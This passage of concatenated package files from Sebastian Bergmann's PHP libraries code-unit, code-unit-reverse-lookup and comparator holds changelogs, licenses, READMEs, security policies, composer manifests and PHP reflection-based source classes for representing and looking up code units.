### Fixed * [#3](https://github.com/sebastianbergmann/code-unit/issues/3): Regression in 1.0.4 ## [1.0.4] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [1.0.3] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [1.0.2] - 2020-04-30 ### Fixed * `Mapper::stringToCodeUnits()` raised the wrong exception for `Class::method` when a class named `Class` exists but does not have a method named `method` ## [1.0.1] - 2020-04-27 ### Fixed * [#2](https://github.com/sebastianbergmann/code-unit/issues/2): `Mapper::stringToCodeUnits()` breaks when `ClassName` is used for class that extends built-in class ## [1.0.0] - 2020-03-30 * Initial release [2.0.0]: https://github.com/sebastianbergmann/code-unit/compare/1.0.8...2.0.0 [1.0.8]: https://github.com/sebastianbergmann/code-unit/compare/1.0.7...1.0.8 [1.0.7]: https://github.com/sebastianbergmann/code-unit/compare/1.0.6...1.0.7 [1.0.6]: https://github.com/sebastianbergmann/code-unit/compare/1.0.5...1.0.6 [1.0.5]: https://github.com/sebastianbergmann/code-unit/compare/1.0.4...1.0.5 [1.0.4]: https://github.com/sebastianbergmann/code-unit/compare/1.0.3...1.0.4 [1.0.3]: https://github.com/sebastianbergmann/code-unit/compare/1.0.2...1.0.3 [1.0.2]: https://github.com/sebastianbergmann/code-unit/compare/1.0.1...1.0.2 [1.0.1]: https://github.com/sebastianbergmann/code-unit/compare/1.0.0...1.0.1 [1.0.0]: https://github.com/sebastianbergmann/code-unit/compare/530c3900e5db9bcb8516da545bef0d62536cedaa...1.0.0 BSD 3-Clause License Copyright (c) 2020-2023, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/sebastian/code-unit/v/stable.png)](https://packagist.org/packages/sebastian/code-unit) [![CI Status](https://github.com/sebastianbergmann/code-unit/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/code-unit/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/code-unit/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/code-unit) [![codecov](https://codecov.io/gh/sebastianbergmann/code-unit/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/code-unit) # sebastian/code-unit Collection of value objects that represent the PHP code units. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/code-unit ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/code-unit ``` # Security Policy This library is intended to be used in development environments only. For instance, it is used by the testing framework PHPUnit. There is no reason why this library should be installed on a webserver. **If you upload this library to a webserver then your deployment process is broken. On a more general note, if your `vendor` directory is publicly accessible on your webserver then your deployment process is also broken.** ## Security Contact Information After the above, if you still would like to report a security vulnerability, please email `sebastian@phpunit.de`. { "name": "sebastian/code-unit", "description": "Collection of value objects that represent the PHP code units", "type": "library", "homepage": "https://github.com/sebastianbergmann/code-unit", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/code-unit/issues" }, "prefer-stable": true, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/_fixture" ], "files": [ "tests/_fixture/file_with_multiple_code_units.php", "tests/_fixture/function.php" ] }, "extra": { "branch-alias": { "dev-main": "2.0-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; /** * @psalm-immutable */ final class ClassMethodUnit extends CodeUnit { /** * @psalm-assert-if-true ClassMethodUnit $this */ public function isClassMethod(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; /** * @psalm-immutable */ final class ClassUnit extends CodeUnit { /** * @psalm-assert-if-true ClassUnit $this */ public function isClass(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; use function count; use function file; use function file_exists; use function is_readable; use function range; use function sprintf; use ReflectionClass; use ReflectionFunction; use ReflectionMethod; /** * @psalm-immutable */ abstract class CodeUnit { private readonly string $name; private readonly string $sourceFileName; /** * @psalm-var list */ private readonly array $sourceLines; /** * @psalm-param class-string $className * * @throws InvalidCodeUnitException * @throws ReflectionException */ public static function forClass(string $className): ClassUnit { self::ensureUserDefinedClass($className); $reflector = self::reflectorForClass($className); return new ClassUnit( $className, $reflector->getFileName(), range( $reflector->getStartLine(), $reflector->getEndLine() ) ); } /** * @psalm-param class-string $className * * @throws InvalidCodeUnitException * @throws ReflectionException */ public static function forClassMethod(string $className, string $methodName): ClassMethodUnit { self::ensureUserDefinedClass($className); $reflector = self::reflectorForClassMethod($className, $methodName); return new ClassMethodUnit( $className . '::' . $methodName, $reflector->getFileName(), range( $reflector->getStartLine(), $reflector->getEndLine() ) ); } /** * @throws InvalidCodeUnitException */ public static function forFileWithAbsolutePath(string $path): FileUnit { self::ensureFileExistsAndIsReadable($path); return new FileUnit( $path, $path, range( 1, count(file($path)) ) ); } /** * @psalm-param class-string $interfaceName * * @throws InvalidCodeUnitException * @throws ReflectionException */ public static function forInterface(string $interfaceName): InterfaceUnit { self::ensureUserDefinedInterface($interfaceName); $reflector = self::reflectorForClass($interfaceName); return new InterfaceUnit( $interfaceName, $reflector->getFileName(), range( $reflector->getStartLine(), $reflector->getEndLine() ) ); } /** * @psalm-param class-string $interfaceName * * @throws InvalidCodeUnitException * @throws ReflectionException */ public static function forInterfaceMethod(string $interfaceName, string $methodName): InterfaceMethodUnit { self::ensureUserDefinedInterface($interfaceName); $reflector = self::reflectorForClassMethod($interfaceName, $methodName); return new InterfaceMethodUnit( $interfaceName . '::' . $methodName, $reflector->getFileName(), range( $reflector->getStartLine(), $reflector->getEndLine() ) ); } /** * @psalm-param class-string $traitName * * @throws InvalidCodeUnitException * @throws ReflectionException */ public static function forTrait(string $traitName): TraitUnit { self::ensureUserDefinedTrait($traitName); $reflector = self::reflectorForClass($traitName); return new TraitUnit( $traitName, $reflector->getFileName(), range( $reflector->getStartLine(), $reflector->getEndLine() ) ); } /** * @psalm-param class-string $traitName * * @throws InvalidCodeUnitException * @throws ReflectionException */ public static function forTraitMethod(string $traitName, string $methodName): TraitMethodUnit { self::ensureUserDefinedTrait($traitName); $reflector = self::reflectorForClassMethod($traitName, $methodName); return new TraitMethodUnit( $traitName . '::' . $methodName, $reflector->getFileName(), range( $reflector->getStartLine(), $reflector->getEndLine() ) ); } /** * @psalm-param callable-string $functionName * * @throws InvalidCodeUnitException * @throws ReflectionException */ public static function forFunction(string $functionName): FunctionUnit { $reflector = self::reflectorForFunction($functionName); if (!$reflector->isUserDefined()) { throw new InvalidCodeUnitException( sprintf( '"%s" is not a user-defined function', $functionName ) ); } return new FunctionUnit( $functionName, $reflector->getFileName(), range( $reflector->getStartLine(), $reflector->getEndLine() ) ); } /** * @psalm-param list $sourceLines */ private function __construct(string $name, string $sourceFileName, array $sourceLines) { $this->name = $name; $this->sourceFileName = $sourceFileName; $this->sourceLines = $sourceLines; } public function name(): string { return $this->name; } public function sourceFileName(): string { return $this->sourceFileName; } /** * @psalm-return list */ public function sourceLines(): array { return $this->sourceLines; } public function isClass(): bool { return false; } public function isClassMethod(): bool { return false; } public function isInterface(): bool { return false; } public function isInterfaceMethod(): bool { return false; } public function isTrait(): bool { return false; } public function isTraitMethod(): bool { return false; } public function isFunction(): bool { return false; } public function isFile(): bool { return false; } /** * @throws InvalidCodeUnitException */ private static function ensureFileExistsAndIsReadable(string $path): void { if (!(file_exists($path) && is_readable($path))) { throw new InvalidCodeUnitException( sprintf( 'File "%s" does not exist or is not readable', $path ) ); } } /** * @psalm-param class-string $className * * @throws InvalidCodeUnitException */ private static function ensureUserDefinedClass(string $className): void { try { $reflector = new ReflectionClass($className); if ($reflector->isInterface()) { throw new InvalidCodeUnitException( sprintf( '"%s" is an interface and not a class', $className ) ); } if ($reflector->isTrait()) { throw new InvalidCodeUnitException( sprintf( '"%s" is a trait and not a class', $className ) ); } if (!$reflector->isUserDefined()) { throw new InvalidCodeUnitException( sprintf( '"%s" is not a user-defined class', $className ) ); } // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @psalm-param class-string $interfaceName * * @throws InvalidCodeUnitException */ private static function ensureUserDefinedInterface(string $interfaceName): void { try { $reflector = new ReflectionClass($interfaceName); if (!$reflector->isInterface()) { throw new InvalidCodeUnitException( sprintf( '"%s" is not an interface', $interfaceName ) ); } if (!$reflector->isUserDefined()) { throw new InvalidCodeUnitException( sprintf( '"%s" is not a user-defined interface', $interfaceName ) ); } // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @psalm-param class-string $traitName * * @throws InvalidCodeUnitException */ private static function ensureUserDefinedTrait(string $traitName): void { try { $reflector = new ReflectionClass($traitName); if (!$reflector->isTrait()) { throw new InvalidCodeUnitException( sprintf( '"%s" is not a trait', $traitName ) ); } // @codeCoverageIgnoreStart if (!$reflector->isUserDefined()) { throw new InvalidCodeUnitException( sprintf( '"%s" is not a user-defined trait', $traitName ) ); } } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @psalm-param class-string $className * * @throws ReflectionException */ private static function reflectorForClass(string $className): ReflectionClass { try { return new ReflectionClass($className); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @psalm-param class-string $className * * @throws ReflectionException */ private static function reflectorForClassMethod(string $className, string $methodName): ReflectionMethod { try { return new ReflectionMethod($className, $methodName); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @psalm-param callable-string $functionName * * @throws ReflectionException */ private static function reflectorForFunction(string $functionName): ReflectionFunction { try { return new ReflectionFunction($functionName); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; use function array_merge; use function count; use Countable; use IteratorAggregate; /** * @template-implements IteratorAggregate * * @psalm-immutable */ final class CodeUnitCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private readonly array $codeUnits; public static function fromList(CodeUnit ...$codeUnits): self { return new self($codeUnits); } /** * @psalm-param list $codeUnits */ private function __construct(array $codeUnits) { $this->codeUnits = $codeUnits; } /** * @psalm-return list */ public function asArray(): array { return $this->codeUnits; } public function getIterator(): CodeUnitCollectionIterator { return new CodeUnitCollectionIterator($this); } public function count(): int { return count($this->codeUnits); } public function isEmpty(): bool { return empty($this->codeUnits); } public function mergeWith(self $other): self { return new self( array_merge( $this->asArray(), $other->asArray() ) ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; use Iterator; /** * @template-implements Iterator */ final class CodeUnitCollectionIterator implements Iterator { /** * @psalm-var list */ private array $codeUnits; private int $position = 0; public function __construct(CodeUnitCollection $collection) { $this->codeUnits = $collection->asArray(); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return isset($this->codeUnits[$this->position]); } public function key(): int { return $this->position; } public function current(): CodeUnit { return $this->codeUnits[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; /** * @psalm-immutable */ final class FileUnit extends CodeUnit { /** * @psalm-assert-if-true FileUnit $this */ public function isFile(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; /** * @psalm-immutable */ final class FunctionUnit extends CodeUnit { /** * @psalm-assert-if-true FunctionUnit $this */ public function isFunction(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; /** * @psalm-immutable */ final class InterfaceMethodUnit extends CodeUnit { /** * @psalm-assert-if-true InterfaceMethod $this */ public function isInterfaceMethod(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; /** * @psalm-immutable */ final class InterfaceUnit extends CodeUnit { /** * @psalm-assert-if-true InterfaceUnit $this */ public function isInterface(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; use function array_keys; use function array_merge; use function array_unique; use function array_values; use function class_exists; use function explode; use function function_exists; use function interface_exists; use function ksort; use function method_exists; use function sort; use function sprintf; use function str_contains; use function trait_exists; use ReflectionClass; use ReflectionFunction; use ReflectionMethod; final class Mapper { /** * @psalm-return array> */ public function codeUnitsToSourceLines(CodeUnitCollection $codeUnits): array { $result = []; foreach ($codeUnits as $codeUnit) { $sourceFileName = $codeUnit->sourceFileName(); if (!isset($result[$sourceFileName])) { $result[$sourceFileName] = []; } $result[$sourceFileName] = array_merge($result[$sourceFileName], $codeUnit->sourceLines()); } foreach (array_keys($result) as $sourceFileName) { $result[$sourceFileName] = array_values(array_unique($result[$sourceFileName])); sort($result[$sourceFileName]); } ksort($result); return $result; } /** * @throws InvalidCodeUnitException * @throws ReflectionException */ public function stringToCodeUnits(string $unit): CodeUnitCollection { if (str_contains($unit, '::')) { [$firstPart, $secondPart] = explode('::', $unit); if ($this->isUserDefinedFunction($secondPart)) { return CodeUnitCollection::fromList(CodeUnit::forFunction($secondPart)); } if ($this->isUserDefinedMethod($firstPart, $secondPart)) { return CodeUnitCollection::fromList(CodeUnit::forClassMethod($firstPart, $secondPart)); } if ($this->isUserDefinedInterface($firstPart)) { return CodeUnitCollection::fromList(CodeUnit::forInterfaceMethod($firstPart, $secondPart)); } if ($this->isUserDefinedTrait($firstPart)) { return CodeUnitCollection::fromList(CodeUnit::forTraitMethod($firstPart, $secondPart)); } } else { if ($this->isUserDefinedClass($unit)) { $units = [CodeUnit::forClass($unit)]; foreach ($this->reflectorForClass($unit)->getTraits() as $trait) { if (!$trait->isUserDefined()) { // @codeCoverageIgnoreStart continue; // @codeCoverageIgnoreEnd } $units[] = CodeUnit::forTrait($trait->getName()); } return CodeUnitCollection::fromList(...$units); } if ($this->isUserDefinedInterface($unit)) { return CodeUnitCollection::fromList(CodeUnit::forInterface($unit)); } if ($this->isUserDefinedTrait($unit)) { return CodeUnitCollection::fromList(CodeUnit::forTrait($unit)); } if ($this->isUserDefinedFunction($unit)) { return CodeUnitCollection::fromList(CodeUnit::forFunction($unit)); } } throw new InvalidCodeUnitException( sprintf( '"%s" is not a valid code unit', $unit ) ); } /** * @psalm-param class-string $className * * @throws ReflectionException */ private function reflectorForClass(string $className): ReflectionClass { try { return new ReflectionClass($className); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @throws ReflectionException */ private function isUserDefinedFunction(string $functionName): bool { if (!function_exists($functionName)) { return false; } try { return (new ReflectionFunction($functionName))->isUserDefined(); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @throws ReflectionException */ private function isUserDefinedClass(string $className): bool { if (!class_exists($className)) { return false; } try { return (new ReflectionClass($className))->isUserDefined(); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @throws ReflectionException */ private function isUserDefinedInterface(string $interfaceName): bool { if (!interface_exists($interfaceName)) { return false; } try { return (new ReflectionClass($interfaceName))->isUserDefined(); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @throws ReflectionException */ private function isUserDefinedTrait(string $traitName): bool { if (!trait_exists($traitName)) { return false; } try { return (new ReflectionClass($traitName))->isUserDefined(); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @throws ReflectionException */ private function isUserDefinedMethod(string $className, string $methodName): bool { if (!class_exists($className)) { // @codeCoverageIgnoreStart return false; // @codeCoverageIgnoreEnd } if (!method_exists($className, $methodName)) { // @codeCoverageIgnoreStart return false; // @codeCoverageIgnoreEnd } try { return (new ReflectionMethod($className, $methodName))->isUserDefined(); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; /** * @psalm-immutable */ final class TraitMethodUnit extends CodeUnit { /** * @psalm-assert-if-true TraitMethodUnit $this */ public function isTraitMethod(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; /** * @psalm-immutable */ final class TraitUnit extends CodeUnit { /** * @psalm-assert-if-true TraitUnit $this */ public function isTrait(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; use Throwable; interface Exception extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; use RuntimeException; final class InvalidCodeUnitException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; use RuntimeException; final class NoTraitException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnit; use RuntimeException; final class ReflectionException extends RuntimeException implements Exception { } # Change Log All notable changes to `sebastianbergmann/code-unit-reverse-lookup` are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [3.0.0] - 2023-02-03 ### Removed * This component is no longer supported on PHP 7.3, PHP 7.4, and PHP 8.0 ## [2.0.3] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [2.0.2] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [2.0.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## 2.0.0 - 2020-02-07 ### Removed * This component is no longer supported on PHP 5.6, PHP 7.0, PHP 7.1, and PHP 7.2 ## 1.0.0 - 2016-02-13 ### Added * Initial release [3.0.0]: https://github.com/sebastianbergmann/code-unit-reverse-lookup/compare/2.0.3...3.0.0 [2.0.3]: https://github.com/sebastianbergmann/code-unit-reverse-lookup/compare/2.0.2...2.0.3 [2.0.2]: https://github.com/sebastianbergmann/code-unit-reverse-lookup/compare/2.0.1...2.0.2 [2.0.1]: https://github.com/sebastianbergmann/code-unit-reverse-lookup/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/code-unit-reverse-lookup/compare/1.0.0...2.0.0 BSD 3-Clause License Copyright (c) 2016-2023, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/sebastian/code-unit-reverse-lookup/v/stable.png)](https://packagist.org/packages/sebastian/code-unit-reverse-lookup) [![CI Status](https://github.com/sebastianbergmann/code-unit-reverse-lookup/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/code-unit-reverse-lookup/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/code-unit-reverse-lookup/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/code-unit-reverse-lookup) [![codecov](https://codecov.io/gh/sebastianbergmann/code-unit-reverse-lookup/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/code-unit-reverse-lookup) # sebastian/code-unit-reverse-lookup Looks up which function or method a line of code belongs to. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/code-unit-reverse-lookup ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/code-unit-reverse-lookup ``` # Security Policy This library is intended to be used in development environments only. For instance, it is used by the testing framework PHPUnit. There is no reason why this library should be installed on a webserver. **If you upload this library to a webserver then your deployment process is broken. On a more general note, if your `vendor` directory is publicly accessible on your webserver then your deployment process is also broken.** ## Security Contact Information After the above, if you still would like to report a security vulnerability, please email `sebastian@phpunit.de`. { "name": "sebastian/code-unit-reverse-lookup", "description": "Looks up which function or method a line of code belongs to", "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "prefer-stable": true, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-main": "3.0-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeUnitReverseLookup; use function array_merge; use function assert; use function get_declared_classes; use function get_declared_traits; use function get_defined_functions; use function is_array; use function range; use ReflectionClass; use ReflectionFunction; use ReflectionFunctionAbstract; use ReflectionMethod; class Wizard { /** * @psalm-var array> */ private array $lookupTable = []; /** * @psalm-var array */ private array $processedClasses = []; /** * @psalm-var array */ private array $processedFunctions = []; public function lookup(string $filename, int $lineNumber): string { if (!isset($this->lookupTable[$filename][$lineNumber])) { $this->updateLookupTable(); } if (isset($this->lookupTable[$filename][$lineNumber])) { return $this->lookupTable[$filename][$lineNumber]; } return $filename . ':' . $lineNumber; } private function updateLookupTable(): void { $this->processClassesAndTraits(); $this->processFunctions(); } private function processClassesAndTraits(): void { $classes = get_declared_classes(); $traits = get_declared_traits(); /* @noinspection PhpConditionAlreadyCheckedInspection */ assert(is_array($traits)); foreach (array_merge($classes, $traits) as $classOrTrait) { if (isset($this->processedClasses[$classOrTrait])) { continue; } foreach ((new ReflectionClass($classOrTrait))->getMethods() as $method) { $this->processFunctionOrMethod($method); } $this->processedClasses[$classOrTrait] = true; } } private function processFunctions(): void { foreach (get_defined_functions()['user'] as $function) { if (isset($this->processedFunctions[$function])) { continue; } $this->processFunctionOrMethod(new ReflectionFunction($function)); $this->processedFunctions[$function] = true; } } private function processFunctionOrMethod(ReflectionFunctionAbstract $functionOrMethod): void { if ($functionOrMethod->isInternal()) { return; } $name = $functionOrMethod->getName(); if ($functionOrMethod instanceof ReflectionMethod) { $name = $functionOrMethod->getDeclaringClass()->getName() . '::' . $name; } if (!isset($this->lookupTable[$functionOrMethod->getFileName()])) { $this->lookupTable[$functionOrMethod->getFileName()] = []; } foreach (range($functionOrMethod->getStartLine(), $functionOrMethod->getEndLine()) as $line) { $this->lookupTable[$functionOrMethod->getFileName()][$line] = $name; } } } # ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [5.0.4] - 2025-09-07 ### Changed * Do not use `SplObjectStorage` methods that will be deprecated in PHP 8.5 ## [5.0.3] - 2024-10-18 ### Fixed * Reverted [#113](https://github.com/sebastianbergmann/comparator/pull/113) as it broke backward compatibility ## [5.0.2] - 2024-08-12 ### Fixed * [#112](https://github.com/sebastianbergmann/comparator/issues/112): Arrays with different keys and the same values are considered equal in canonicalize mode ## [5.0.1] - 2023-08-14 ### Fixed * `MockObjectComparator` only works on instances of `PHPUnit\Framework\MockObject\MockObject`, but not on instances of `PHPUnit\Framework\MockObject\Stub` * `MockObjectComparator` only ignores the `$__phpunit_invocationMocker` property, but not other properties with names prefixed with `__phpunit_` ## [5.0.0] - 2023-02-03 ### Changed * Methods now have parameter and return type declarations * `Comparator::$factory` is now private, use `Comparator::factory()` instead * `ComparisonFailure`, `DOMNodeComparator`, `DateTimeComparator`, `ExceptionComparator`, `MockObjectComparator`, `NumericComparator`, `ResourceComparator`, `SplObjectStorageComparator`, and `TypeComparator` are now `final` * `ScalarComparator` and `DOMNodeComparator` now use `mb_strtolower($string, 'UTF-8')` instead of `strtolower($string)` ### Removed * Removed `$identical` parameter from `ComparisonFailure::__construct()` * Removed `Comparator::$exporter` * Removed support for PHP 7.3, PHP 7.4, and PHP 8.0 ## [4.0.8] - 2022-09-14 ### Fixed * [#102](https://github.com/sebastianbergmann/comparator/pull/102): Fix `float` comparison precision ## [4.0.7] - 2022-09-14 ### Fixed * [#99](https://github.com/sebastianbergmann/comparator/pull/99): Fix weak comparison between `'0'` and `false` ## [4.0.6] - 2020-10-26 ### Fixed * `SebastianBergmann\Comparator\Exception` now correctly extends `\Throwable` ## [4.0.5] - 2020-09-30 ### Fixed * [#89](https://github.com/sebastianbergmann/comparator/pull/89): Handle PHP 8 `ValueError` ## [4.0.4] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [4.0.3] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [4.0.2] - 2020-06-15 ### Fixed * [#85](https://github.com/sebastianbergmann/comparator/issues/85): Version 4.0.1 breaks backward compatibility ## [4.0.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [4.0.0] - 2020-02-07 ### Removed * Removed support for PHP 7.1 and PHP 7.2 ## [3.0.5] - 2022-09-14 ### Fixed * [#102](https://github.com/sebastianbergmann/comparator/pull/102): Fix `float` comparison precision ## [3.0.4] - 2022-09-14 ### Fixed * [#99](https://github.com/sebastianbergmann/comparator/pull/99): Fix weak comparison between `'0'` and `false` ## [3.0.3] - 2020-11-30 ### Changed * Changed PHP version constraint in `composer.json` from `^7.1` to `>=7.1` ## [3.0.2] - 2018-07-12 ### Changed * By default, `MockObjectComparator` is now tried before all other (default) comparators ## [3.0.1] - 2018-06-14 ### Fixed * [#53](https://github.com/sebastianbergmann/comparator/pull/53): `DOMNodeComparator` ignores `$ignoreCase` parameter * [#58](https://github.com/sebastianbergmann/comparator/pull/58): `ScalarComparator` does not handle extremely ugly string comparison edge cases ## [3.0.0] - 2018-04-18 ### Fixed * [#48](https://github.com/sebastianbergmann/comparator/issues/48): `DateTimeComparator` does not support fractional second deltas ### Removed * Removed support for PHP 7.0 ## [2.1.3] - 2018-02-01 ### Changed * This component is now compatible with version 3 of `sebastian/diff` ## [2.1.2] - 2018-01-12 ### Fixed * Fix comparison of `DateTimeImmutable` objects ## [2.1.1] - 2017-12-22 ### Fixed * 